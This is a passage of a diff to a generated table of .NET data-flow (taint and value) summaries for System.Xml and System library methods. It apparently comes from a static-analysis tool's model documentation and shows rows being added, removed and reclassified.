System.Xml.Linq;XContainer;DescendantNodes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;Descendants;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;Descendants;(System.Xml.Linq.XName);Argument[this];ReturnValue;taint;df-generated | @@ -15192,6 +15397,7 @@ | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XContainer;ReplaceNodes;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XContainer;ReplaceNodes;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XContainer;get_FirstNode;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XContainer;get_LastNode;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XDeclaration;ToString;();Argument[this].SyntheticField[System.Xml.Linq.XDeclaration._encoding];ReturnValue;taint;dfc-generated | @@ -15245,9 +15451,11 @@ | System.Xml.Linq;XElement;ReplaceAll;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAll;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAll;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XElement;ReplaceAll;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XElement;ReplaceAttributes;(System.Object[]);Argument[0].Element;Argument[this];taint;df-generated | +| System.Xml.Linq;XElement;ReplaceAttributes;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XElement;SetAttributeValue;(System.Xml.Linq.XName,System.Object);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;SetAttributeValue;(System.Xml.Linq.XName,System.Object);Argument[1];Argument[this];taint;df-generated | | System.Xml.Linq;XElement;SetElementValue;(System.Xml.Linq.XName,System.Object);Argument[1];Argument[this];taint;df-generated | @@ -15269,7 +15477,9 @@ | System.Xml.Linq;XNamespace;get_NamespaceName;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNamespace;op_Addition;(System.Xml.Linq.XNamespace,System.String);Argument[0];ReturnValue.SyntheticField[System.Xml.Linq.XName._ns];value;dfc-generated | | System.Xml.Linq;XNode;AddAfterSelf;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;AddAfterSelf;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;AddBeforeSelf;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;AddBeforeSelf;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;Ancestors;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;Ancestors;(System.Xml.Linq.XName);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;CreateReader;(System.Xml.Linq.ReaderOptions);Argument[this];ReturnValue.SyntheticField[System.Xml.Linq.XNodeReader._source];value;dfc-generated | @@ -15279,6 +15489,7 @@ | System.Xml.Linq;XNode;ReadFrom;(System.Xml.XmlReader);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;ReadFromAsync;(System.Xml.XmlReader,System.Threading.CancellationToken);Argument[0];ReturnValue;taint;df-generated | | System.Xml.Linq;XNode;ReplaceWith;(System.Object);Argument[this];Argument[0];taint;df-generated | +| System.Xml.Linq;XNode;ReplaceWith;(System.Object[]);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Linq;XNode;WriteTo;(System.Xml.XmlWriter);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XNode;WriteToAsync;(System.Xml.XmlWriter,System.Threading.CancellationToken);Argument[this];Argument[0];taint;df-generated | | System.Xml.Linq;XNode;get_NextNode;();Argument[this];ReturnValue;taint;df-generated | @@ -15308,10 +15519,11 @@ | System.Xml.Linq;XStreamingElement;XStreamingElement;(System.Xml.Linq.XName,System.Object[]);Argument[1].Element;Argument[this];taint;df-generated | | System.Xml.Linq;XText;XText;(System.String);Argument[0];Argument[this];taint;df-generated | | System.Xml.Linq;XText;XText;(System.Xml.Linq.XText);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | +| System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | +| System.Xml.Resolvers;XmlPreloadedResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | | System.Xml.Resolvers;XmlPreloadedResolver;XmlPreloadedResolver;(System.Xml.XmlResolver,System.Xml.Resolvers.XmlKnownDtds,System.Collections.Generic.IEqualityComparer);Argument[0];Argument[this];taint;df-generated | | System.Xml.Resolvers;XmlPreloadedResolver;get_PreloadedUris;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;Extensions;GetSchemaInfo;(System.Xml.Linq.XAttribute);Argument[0];ReturnValue;taint;df-generated | @@ -15365,14 +15577,15 @@ | System.Xml.Schema;XmlSchemaComplexContentRestriction;get_Attributes;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaComplexType;get_AttributeWildcard;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaComplexType;get_ContentTypeParticle;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];Argument[2];taint;df-generated | -| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[2];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ChangeType;(System.Object,System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];Argument[2];taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[2];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaDatatype;ParseValue;(System.String,System.Xml.XmlNameTable,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaElement;get_ElementSchemaType;();Argument[this];ReturnValue;taint;df-generated | @@ -15416,12 +15629,12 @@ | System.Xml.Schema;XmlSchemaSet;Add;(System.String,System.Xml.XmlReader);Argument[1];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.String,System.Xml.XmlReader);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaSet;Add;(System.Xml.Schema.XmlSchemaSet);Argument[0];Argument[this];taint;df-generated | | System.Xml.Schema;XmlSchemaSet;CopyTo;(System.Xml.Schema.XmlSchema[],System.Int32);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Remove;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;dfc-generated | | System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaSet;Reprocess;(System.Xml.Schema.XmlSchema);Argument[0];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaSet;Schemas;();Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;Schemas;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaSet;XmlSchemaSet;(System.Xml.XmlNameTable);Argument[0];Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaSet._nameTable];value;dfc-generated | @@ -15447,7 +15660,7 @@ | System.Xml.Schema;XmlSchemaValidator;Initialize;(System.Xml.Schema.XmlSchemaObject);Argument[0];Argument[this].SyntheticField[System.Xml.Schema.XmlSchemaValidator._partialValidationType];value;dfc-generated | | System.Xml.Schema;XmlSchemaValidator;SkipToEndElement;(System.Xml.Schema.XmlSchemaInfo);Argument[this];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[2];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateAttribute;(System.String,System.String,System.Xml.Schema.XmlValueGetter,System.Xml.Schema.XmlSchemaInfo);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateElement;(System.String,System.String,System.Xml.Schema.XmlSchemaInfo);Argument[0];Argument[this];taint;df-generated | @@ -15460,7 +15673,7 @@ | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];Argument[this];taint;df-generated | -| System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[1];ReturnValue;value;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[this];Argument[0];taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateEndElement;(System.Xml.Schema.XmlSchemaInfo,System.Object);Argument[this];ReturnValue;taint;df-generated | | System.Xml.Schema;XmlSchemaValidator;ValidateText;(System.Xml.Schema.XmlValueGetter);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -15829,6 +16042,7 @@ | System.Xml.XPath;Extensions;CreateNavigator;(System.Xml.Linq.XNode,System.Xml.XmlNameTable);Argument[0];ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._source];value;dfc-generated | | System.Xml.XPath;Extensions;CreateNavigator;(System.Xml.Linq.XNode,System.Xml.XmlNameTable);Argument[1];ReturnValue.SyntheticField[System.Xml.XPath.XNodeNavigator._nameTable];value;dfc-generated | | System.Xml.XPath;IXPathNavigable;CreateNavigator;();Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;IXPathNavigable;CreateNavigator;();Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XDocumentExtensions;ToXPathNavigable;(System.Xml.Linq.XNode);Argument[0];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathDocument;XPathDocument;(System.Xml.XmlReader,System.Xml.XmlSpace);Argument[0];Argument[this];taint;df-generated | | System.Xml.XPath;XPathException;get_Message;();Argument[this].Property[System.Exception.Message];ReturnValue;value;dfc-generated | @@ -15839,7 +16053,7 @@ | System.Xml.XPath;XPathExpression;SetContext;(System.Xml.IXmlNamespaceResolver);Argument[0];Argument[this];taint;df-generated | | System.Xml.XPath;XPathExpression;SetContext;(System.Xml.XmlNamespaceManager);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml.XPath;XPathExpression;get_Expression;();Argument[this];ReturnValue;taint;df-generated | -| System.Xml.XPath;XPathItem;ValueAs;(System.Type);Argument[this];ReturnValue;taint;df-generated | +| System.Xml.XPath;XPathItem;ValueAs;(System.Type);Argument[this];ReturnValue;value;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[1];ReturnValue;taint;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];Argument[1];taint;df-generated | | System.Xml.XPath;XPathItem;ValueAs;(System.Type,System.Xml.IXmlNamespaceResolver);Argument[this];ReturnValue;taint;df-generated | @@ -16211,6 +16425,7 @@ | System.Xml;XmlNamespaceManager;get_NameTable;();Argument[this].SyntheticField[System.Xml.XmlNamespaceManager._nameTable];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;AppendChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;Clone;();Argument[this];ReturnValue;taint;df-generated | @@ -16222,6 +16437,7 @@ | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertAfter;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | @@ -16230,20 +16446,21 @@ | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[1].Element;taint;df-generated | | System.Xml;XmlNode;InsertBefore;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | -| System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;PrependChild;(System.Xml.XmlNode);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlNode;RemoveChild;(System.Xml.XmlNode);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[0].Element;Argument[this];taint;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;Argument[this];taint;df-generated | -| System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1].Element;ReturnValue;taint;df-generated | +| System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[1];ReturnValue;value;df-generated | | System.Xml;XmlNode;ReplaceChild;(System.Xml.XmlNode,System.Xml.XmlNode);Argument[this];Argument[0].Element;taint;df-generated | | System.Xml;XmlNode;SelectNodes;(System.String);Argument[this];ReturnValue;taint;manual | | System.Xml;XmlNode;SelectNodes;(System.String,System.Xml.XmlNamespaceManager);Argument[this];ReturnValue;taint;manual | @@ -16382,15 +16599,16 @@ | System.Xml;XmlReaderSettings;add_ValidationEventHandler;(System.Xml.Schema.ValidationEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlReaderSettings;remove_ValidationEventHandler;(System.Xml.Schema.ValidationEventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System.Xml;XmlReaderSettings;set_XmlResolver;(System.Xml.XmlResolver);Argument[0];Argument[this];taint;df-generated | -| System.Xml;XmlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.Xml;XmlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;dfc-generated | | System.Xml;XmlResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlResolver;ResolveUri;(System.Uri,System.String);Argument[0];ReturnValue;value;dfc-generated | | System.Xml;XmlResolver;ResolveUri;(System.Uri,System.String);Argument[1];ReturnValue;taint;dfc-generated | | System.Xml;XmlResolver;set_Credentials;(System.Net.ICredentials);Argument[0];Argument[this];taint;df-generated | -| System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml;XmlSecureResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | | System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | +| System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;df-generated | +| System.Xml;XmlSecureResolver;GetEntityAsync;(System.Uri,System.String,System.Type);Argument[0];ReturnValue.Property[System.Threading.Tasks.Task`1.Result];taint;dfc-generated | | System.Xml;XmlText;SplitText;(System.Int32);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlTextReader;GetRemainder;();Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlTextReader;ReadString;();Argument[this].Property[System.Xml.XmlReader.Value];ReturnValue;taint;df-generated | @@ -16435,7 +16653,6 @@ | System.Xml;XmlTextWriter;XmlTextWriter;(System.IO.Stream,System.Text.Encoding);Argument[1];Argument[this];taint;df-generated | | System.Xml;XmlTextWriter;XmlTextWriter;(System.IO.TextWriter);Argument[0];Argument[this];taint;df-generated | | System.Xml;XmlTextWriter;get_BaseStream;();Argument[this].SyntheticField[System.Xml.XmlTextWriter._textWriter].Property[System.IO.StreamWriter.BaseStream];ReturnValue;value;dfc-generated | -| System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;df-generated | | System.Xml;XmlUrlResolver;GetEntity;(System.Uri,System.String,System.Type);Argument[0].Property[System.Uri.LocalPath];ReturnValue;taint;dfc-generated | | System.Xml;XmlUrlResolver;set_Proxy;(System.Net.IWebProxy);Argument[0];Argument[this];taint;df-generated | | System.Xml;XmlValidatingReader;ReadString;();Argument[this].Property[System.Xml.XmlReader.Value];ReturnValue;taint;df-generated | @@ -16462,8 +16679,8 @@ | System.Xml;XmlWriter;Create;(System.Text.StringBuilder);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;Create;(System.Text.StringBuilder,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;Create;(System.Text.StringBuilder,System.Xml.XmlWriterSettings);Argument[1];ReturnValue;taint;df-generated | -| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter);Argument[0];ReturnValue;taint;df-generated | -| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;taint;df-generated | +| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter);Argument[0];ReturnValue;value;df-generated | +| System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[0];ReturnValue;value;df-generated | | System.Xml;XmlWriter;Create;(System.Xml.XmlWriter,System.Xml.XmlWriterSettings);Argument[1];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;LookupPrefix;(System.String);Argument[this];ReturnValue;taint;df-generated | | System.Xml;XmlWriter;WriteAttributeString;(System.String,System.String);Argument[0];Argument[this];taint;df-generated | @@ -16551,7 +16768,7 @@ | System;Action;BeginInvoke;(T,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;AggregateException;AggregateException;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[0].SyntheticField[System.Runtime.Serialization.SerializationInfo._values].Element;Argument[this].SyntheticField[System.AggregateException._innerExceptions];value;dfc-generated | | System;AggregateException;AggregateException;(System.String,System.Exception);Argument[1];Argument[this].SyntheticField[System.AggregateException._innerExceptions].Element;value;dfc-generated | -| System;AggregateException;GetBaseException;();Argument[this];ReturnValue;taint;df-generated | +| System;AggregateException;GetBaseException;();Argument[this];ReturnValue;value;df-generated | | System;AggregateException;Handle;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;dfc-generated | | System;AggregateException;Handle;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System;AggregateException;Handle;(System.Func);Argument[this].SyntheticField[System.AggregateException._innerExceptions].Element;Argument[0].Parameter[0];value;dfc-generated | @@ -16669,6 +16886,7 @@ | System;ArraySegment;Slice;(System.Int32,System.Int32);Argument[this].SyntheticField[System.ArraySegment`1._array];ReturnValue.SyntheticField[System.ArraySegment`1._array];value;dfc-generated | | System;ArraySegment;get_Array;();Argument[this].SyntheticField[System.ArraySegment`1._array];ReturnValue;value;dfc-generated | | System;ArraySegment;get_Item;(System.Int32);Argument[this].SyntheticField[System.ArraySegment`1._array].Element;ReturnValue;value;dfc-generated | +| System;ArraySegment;set_Item;(System.Int32,T);Argument[1];Argument[this].SyntheticField[System.ArraySegment`1._array].Element;value;dfc-generated | | System;AssemblyLoadEventHandler;BeginInvoke;(System.Object,System.AssemblyLoadEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System;AsyncCallback;BeginInvoke;(System.IAsyncResult,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System;Attribute;get_TypeId;();Argument[this];ReturnValue;taint;df-generated | @@ -17043,7 +17261,7 @@ | System;Exception;Exception;(System.String);Argument[0];Argument[this].SyntheticField[System.Exception._message];value;dfc-generated | | System;Exception;Exception;(System.String,System.Exception);Argument[0];Argument[this].SyntheticField[System.Exception._message];value;dfc-generated | | System;Exception;Exception;(System.String,System.Exception);Argument[1];Argument[this].SyntheticField[System.Exception._innerException];value;dfc-generated | -| System;Exception;GetBaseException;();Argument[this];ReturnValue;taint;df-generated | +| System;Exception;GetBaseException;();Argument[this];ReturnValue;value;df-generated | | System;Exception;ToString;();Argument[this];ReturnValue;taint;df-generated | | System;Exception;add_SerializeObjectState;(System.EventHandler);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | System;Exception;get_InnerException;();Argument[this].SyntheticField[System.Exception._innerException];ReturnValue;value;dfc-generated | @@ -17961,9 +18179,8 @@ | System;Uri;GetComponents;(System.UriComponents,System.UriFormat);Argument[this];ReturnValue;taint;df-generated | | System;Uri;GetLeftPart;(System.UriPartial);Argument[this];ReturnValue;taint;df-generated | | System;Uri;MakeRelative;(System.Uri);Argument[0];ReturnValue;taint;df-generated | -| System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;taint;df-generated | +| System;Uri;MakeRelativeUri;(System.Uri);Argument[0];ReturnValue;value;df-generated | | System;Uri;ToString;();Argument[this];ReturnValue;taint;manual | -| System;Uri;ToString;(System.String,System.IFormatProvider);Argument[this].SyntheticField[System.Uri._string];ReturnValue;value;dfc-generated | | System;Uri;TryCreate;(System.String,System.UriCreationOptions,System.Uri);Argument[0];Argument[2];taint;manual | | System;Uri;TryCreate;(System.String,System.UriKind,System.Uri);Argument[0];Argument[2];taint;manual | | System;Uri;TryCreate;(System.Uri,System.String,System.Uri);Argument[0];Argument[2];taint;manual | @@ -18048,9 +18265,14 @@ | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System;UriTypeConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System;UriTypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Property[System.Uri.OriginalString];ReturnValue;value;df-generated | | 